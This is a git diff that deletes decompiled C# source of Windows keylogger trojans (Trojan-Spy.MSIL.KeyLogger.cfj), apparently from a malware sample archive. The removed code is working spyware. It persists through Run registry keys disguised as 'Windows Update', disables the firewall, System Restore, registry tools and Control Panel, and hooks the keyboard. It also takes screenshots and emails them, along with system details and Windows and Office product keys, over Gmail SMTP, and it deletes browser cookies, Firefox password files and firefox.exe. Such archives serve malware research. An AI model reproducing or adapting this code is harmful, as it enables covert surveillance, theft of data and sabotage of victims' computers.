(Conversions.ToBoolean(this.\u0001[4])) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - \u0001.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\\Windows\\system32" + fileName, true); - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - registryKey.SetValue(fileName, (object) ("C:\\Windows\\system32" + Conversions.ToString(0))); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[5])) - this.\u0002("ker.exe"); - if (Conversions.ToBoolean(this.\u0001[6])) - { - try - { - System.IO.File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[7])) - { - try - { - \u0001.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", "EnableBalloonTips", (object) "0", RegistryValueKind.DWord); - Process process = new Process(); - string str = "netsh.exe"; - process.StartInfo.Arguments = "firewall set opmode disable"; - process.StartInfo.FileName = str; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.StartInfo.CreateNoWindow = true; - process.Start(); - process.WaitForExit(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[8])) - \u0001.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", (object) "1", RegistryValueKind.String); - if (Conversions.ToBoolean(this.\u0001[9])) - \u0001.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", "DisableSR", (object) "1", RegistryValueKind.DWord); - if (Conversions.ToBoolean(this.\u0001[10])) - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.NormalFocus); - if (Conversions.ToBoolean(this.\u0001[11])) - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.NormalFocus); - if (!Conversions.ToBoolean(this.\u0001[12])) - this.Timer4.Start(); - if (!Conversions.ToBoolean(this.\u0001[13])) - this.Timer5.Start(); - if (Conversions.ToBoolean(this.\u0001[15])) - { - this.\u0002(true); - this.\u0003(true); - } - if (!Conversions.ToBoolean(this.\u0001[25])) - this.Timer3.Start(); - Conversions.ToBoolean(this.\u0001[26]); - if (Conversions.ToBoolean(this.\u0001[27])) - { - string str = Conversions.ToString(\u0001.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "PathName", (object) null)); - if (System.IO.File.Exists(str + "\\system32\\")) - \u0001.Computer.FileSystem.DeleteFile(str + "\\system32\\"); - System.IO.File.Copy(Application.ExecutablePath, str + "\\system32\\"); - \u0001.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Windows Update", (object) (str + "\\system32\\"), RegistryValueKind.String); - } - if (Conversions.ToBoolean(this.\u0001[28])) - Interaction.Shell(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\taskmgr.exe", AppWinStyle.Hide, true); - Conversions.ToBoolean(this.\u0001[29]); - if (Conversions.ToBoolean(this.\u0001[30])) - { - try - { - string path = "C:\\Program Files\\Mozilla Firefox\\firefox.exe"; - if (System.IO.File.Exists(path)) - System.IO.File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.Hide(); - this.Visible = false; - } - - public void \u0002(string NewName) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); -label_2: - num3 = 3; - if (Operators.CompareString(Application.StartupPath, folderPath, false) == 0) - goto label_6; -label_3: - num3 = 4; - System.IO.File.Copy(Application.ExecutablePath, folderPath + "\\update.exe" + NewName); -label_4: - num3 = 5; - Process.Start(folderPath + "\\update.exe" + NewName + " " + Application.ExecutablePath); -label_5: - num3 = 6; - System.IO.File.SetAttributes(folderPath + "update.exe\\" + NewName, FileAttributes.Hidden); - ProjectData.EndApp(); - goto label_14; -label_6: - num3 = 9; -label_7: - num3 = 10; - FileSystem.Kill(Interaction.Command()); - goto label_14; -label_9: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - case 11: - case 12: - goto label_14; - case 9: - goto label_6; - case 10: - goto label_7; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void \u0005(object sender, EventArgs e) - { - try - { - this.TextBox4.Text = this.TextBox7.Text + "\\" + this.TextBox6.Text + this.TextBox5.Text; - Size blockRegionSize = new Size(\u0001.Computer.Screen.Bounds.Width, \u0001.Computer.Screen.Bounds.Height); - Bitmap bitmap = new Bitmap(\u0001.Computer.Screen.Bounds.Width, \u0001.Computer.Screen.Bounds.Height); - Graphics.FromImage((Image) bitmap).CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); - bitmap.Save(this.TextBox7.Text + "\\" + this.TextBox6.Text + this.TextBox5.Text); - TextBox textBox6 = this.TextBox6; - textBox6.Text = Conversions.ToString(Conversions.ToDouble(textBox6.Text) + 1.0); - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox2.Text); - message.Subject = "Ekran Kayıtları " + this.\u0086; - message.Body = "Görüntüler \r\n----------------------------------------------------------------\r\n\r\n"; - Attachment attachment = new Attachment(this.TextBox4.Text); - message.Attachments.Add(attachment); - new SmtpClient("smtp.gmail.com") - { - Port = 587, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0006(object sender, EventArgs e) - { - this.\u0003(); - try - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)) - }.Send(new MailMessage() - { - Subject = \u0001.Computer.Name + " Bilgisayar Bilgileri", - To = { - this.TextBox2.Text - }, - From = new MailAddress(this.TextBox2.Text), - Body = "Kullanıcı Adı : " + Environment.UserName + "\r\nBilgisayarın Adı : " + \u0001.Computer.Name + "\r\nİşletim Sistemi Versiyonu : " + Environment.OSVersion.ToString() + "\r\nKök Klasör Yolu : " + Environment.SystemDirectory.ToString() + "\r\nIP: " + this.\u0087 - }); - this.TextBox1.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Timer4.Stop(); - } - - private void \u0003() - { - try - { - this.\u0087 = Encoding.ASCII.GetString(this.\u0001.DownloadData("http://whatismyip.com/automation/n09230945.asp")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0007(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - this.txtWin.Text = this.txtWin.Text + DateAndTime.Now.ToString() + "\r\n\r\n"; -label_1: - num3 = 2; - byte[] digitalProductId1 = \u0002.\u0002.\u0002(\u0002.\u0002.\u0001.\u0001); -label_2: - num3 = 3; - this.txtWin.Text = this.txtWin.Text + \u0001.Computer.Info.OSFullName + "\r\n"; -label_3: - num3 = 4; - this.txtWin.Text = this.txtWin.Text + \u0002.\u0002.\u0002(digitalProductId1) + "\r\n\r\n"; -label_4: - ProjectData.ClearProjectError(); - num1 = -2; -label_5: - num3 = 6; - string str = (string) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-002F-0000-0000-0000000FF1CE}").GetValue("ProductName"); -label_6: - num3 = 7; - this.txtWin.Text = this.txtWin.Text + str + "\r\n"; -label_7: - ProjectData.ClearProjectError(); - num1 = -3; -label_8: - num3 = 9; - byte[] digitalProductId2 = \u0002.\u0002.\u0002(\u0002.\u0002.\u0001.\u0003); -label_9: - num3 = 10; - this.txtWin.Text = this.txtWin.Text + \u0002.\u0002.\u0002(digitalProductId2) + "\r\n\r\n"; -label_10: - num3 = 11; - MailMessage message = new MailMessage(); -label_11: - num3 = 12; - message.Subject = \u0001.Computer.Name + "Office Serialleri"; -label_12: - num3 = 13; - message.To.Add(this.TextBox2.Text); -label_13: - num3 = 14; - message.From = new MailAddress(this.TextBox2.Text); -label_14: - num3 = 15; - message.Body = this.txtWin.Text; -label_15: - num3 = 16; - SmtpClient smtpClient = new SmtpClient("smtp.gmail.com"); -label_16: - num3 = 17; - smtpClient.Port = 587; -label_17: - num3 = 18; - smtpClient.EnableSsl = true; -label_18: - num3 = 19; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text); -label_19: - num3 = 20; - smtpClient.Send(message); -label_20: - num3 = 21; - this.TextBox1.Clear(); -label_21: - num3 = 22; - this.Timer5.Stop(); - goto label_28; -label_23: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_28; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_23; - } - throw ProjectData.CreateProjectError(-2146828237); -label_28: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void \u0002(bool Enable) - { - if (!Enable) - return; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Cookies); - if (!Directory.Exists(folderPath)) - return; - try - { - foreach (string file in \u0001.Computer.FileSystem.GetFiles(folderPath)) - { - try - { - \u0001.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void \u0003(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (!Directory.Exists(str)) - return; - try - { - foreach (string directory in \u0001.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in \u0001.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("cookie")) - { - try - { - \u0001.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void \u0004(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (!Directory.Exists(str)) - return; - try - { - foreach (string directory in \u0001.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in \u0001.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("signon")) - { - try - { - \u0001.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - internal class \u0001 - { - private const int \u0001 = 0; - private const int \u0002 = 13; - private const int \u0003 = 256; - private const int \u0004 = 257; - private const int \u0005 = 260; - private const int \u0006 = 261; - private static int \u0007; - private static \u0003.\u0002.\u0001.\u0002 \u0001; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002( - int idHook, - \u0003.\u0002.\u0001.\u0002 lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002( - int hHook, - int nCode, - int wParam, - \u0003.\u0002.\u0001.\u0001 lParam); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(int hHook); - - public static event \u0003.\u0002.\u0001.\u0003 KD; - - public static event \u0003.\u0002.\u0001.\u0004 KU; - - public \u0001() - { - \u0003.\u0002.\u0001.\u0001 = new \u0003.\u0002.\u0001.\u0002(\u0003.\u0002.\u0001.\u0002); - \u0003.\u0002.\u0001.\u0007 = \u0003.\u0002.\u0001.\u0002(13, \u0003.\u0002.\u0001.\u0001, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int \u0002(int nCode, int wParam, ref \u0003.\u0002.\u0001.\u0001 lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - \u0003.\u0002.\u0001.\u0003 obj1 = \u0003.\u0002.\u0001.\u0001; - if (obj1 != null) - { - obj1((Keys) lParam.\u0001); - break; - } - break; - case 257: - case 261: - \u0003.\u0002.\u0001.\u0004 obj2 = \u0003.\u0002.\u0001.\u0001; - if (obj2 != null) - { - obj2((Keys) lParam.\u0001); - break; - } - break; - } - } - return \u0003.\u0002.\u0001.\u0002(\u0003.\u0002.\u0001.\u0007, nCode, wParam, lParam); - } - - ~\u0001() - { - \u0003.\u0002.\u0001.\u0002(\u0003.\u0002.\u0001.\u0007); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct \u0001 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - public int \u0005; - } - - private delegate int \u0002(int nCode, int wParam, ref \u0003.\u0002.\u0001.\u0001 lParam); - - internal delegate void \u0003(Keys Key); - - internal delegate void \u0004(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0001.cs deleted file mode 100644 index d460d3a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0001.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - internal sealed class \u0001 - { - private static ResourceManager \u0001; - private static CultureInfo \u0001; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0001.\u0001, (object) null)) - \u0001.\u0001 = new ResourceManager("awewf45wrtghfghfghfgh.Resources", typeof (\u0001).Assembly); - return \u0001.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0001.\u0001; - set => \u0001.\u0001 = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0002.cs deleted file mode 100644 index a5b140da..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0004/_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using awewf45wrtghfghfghfgh.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - internal sealed class \u0002 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/My/MySettings.cs deleted file mode 100644 index f3b7c52d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: awewf45wrtghfghfghfgh.My.MySettings -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using \u0002; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace awewf45wrtghfghfghfgh.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0001; - private static object \u0001 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0002(object sender, EventArgs e) - { - if (!\u0001.Application.SaveMySettingsOnExit) - return; - \u0004.\u0002.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0001) - { - object Expression = MySettings.\u0001; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0001) - { - \u0001.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0001.Application.SaveMySettingsOnExit) - return; - \u0004.\u0002.Settings.Save(); - }); - MySettings.\u0001 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/awewf45wrtghfghfghfgh/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/AssemblyInfo.cs deleted file mode 100644 index 83f273ba..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("sjdkfh892ur0iksofi32irkwf")] -[assembly: AssemblyTrademark("dfasdfadfq2342134")] -[assembly: AssemblyProduct("sjdkfh892ur0iksofi32irkwf")] -[assembly: AssemblyCopyright("dfasdfq2341234sdf")] -[assembly: AssemblyCompany("sfljhioqur09ikafopke0rgwg")] -[assembly: AssemblyFileVersion("2.5.6")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: Guid("aac39338-0975-4b06-abf7-2cf97915f76d")] -[assembly: AssemblyTitle("sjdkfh892ur0iksofi32irkwf")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("2.3.4.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index f18fb14e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.csproj deleted file mode 100644 index ce8cfed8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU - {5E22BD5A-DA25-43CF-9A04-4694668EBAD7} - WinExe - dfghdfghtyetryetyetyety - 2.3.4.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.sln deleted file mode 100644 index 2915def0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/Trojan-Spy.MSIL.KeyLogger.cfj.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dfghdfghtyetryetyetyety", "Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.csproj", "{5E22BD5A-DA25-43CF-9A04-4694668EBAD7}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5E22BD5A-DA25-43CF-9A04-4694668EBAD7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5E22BD5A-DA25-43CF-9A04-4694668EBAD7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5E22BD5A-DA25-43CF-9A04-4694668EBAD7}.Release|Any CPU.ActiveCfg = Release|Any CPU - 